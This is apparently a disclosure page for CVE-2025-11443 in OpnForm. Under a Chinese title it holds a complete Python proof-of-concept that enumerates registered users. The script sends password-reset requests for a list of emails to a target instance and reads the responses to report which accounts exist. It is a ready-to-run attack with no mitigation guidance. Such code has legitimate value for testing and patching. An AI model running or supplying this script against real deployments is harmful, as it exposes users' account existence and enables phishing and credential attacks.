CVE-2025-11443：JhumanJ OpnForm 密码重置接口信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-11443 - OpnForm User Enumeration via Password Reset API PoC: Exploits information disclosure in /api/password/email endpoint Reference: Laravel issue #46465 """ import requests import sys import time TARGET_URL = "http://target-opnform-instance.com" RESET_ENDPOINT = "/api/password/email" # Candidate email list for enumeration EMAIL_LIST = [ "[email protected]", "[email protected]", "[email protected]", "[email protected]", "[email protected]" ] def enumerate_users(base_url, emails): """ Enumerate valid user emails by analyzing response differences from the password reset endpoint. """ url = base_url.rstrip("/") + RESET_ENDPOINT valid_emails = [] for email in emails: try: # Send password reset request resp = requests.post( url, json={"email": email}, headers={"Content-Type": "application/json"}, timeout=10 ) status_code = resp.status_code response_body = resp.text print(f"[*] Testing: {email}") print(f" Status: {status_code}") print(f" Response: {response_body[:200]}") # Analyze response to determine if email exists # Registered emails typically return success messages # Unregistered emails return error/different responses if status_code == 200 and ("password reset" in response_body.lower() or "email sent" in response_body.lower() or "reset link" in response_body.lower()): print(f" [+] VALID USER DETECTED: {email}") valid_emails.append(email) elif status_code == 422 or "not found" in response_body.lower(): print(f" [-] Email not registered: {email}") else: # Check for timing differences as well print(f" [?] Ambiguous response for: {email}") time.sleep(0.5) # Rate limiting except requests.exceptions.RequestException as e: print(f"[!] Error testing {email}: {e}") return valid_emails def main(): if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_URL print(f"[*] CVE-2025-11443 PoC - User Enumeration") print(f"[*] Target: {target}") print(f"[*] Endpoint: {RESET_ENDPOINT}") print("-" * 60) valid = enumerate_users(target, EMAIL_LIST) print("-" * 60) print(f"[*] Enumeration complete. Found {len(valid)} valid email(s):") for email in valid: print(f" - {email}") if __name__ == "__main__": main()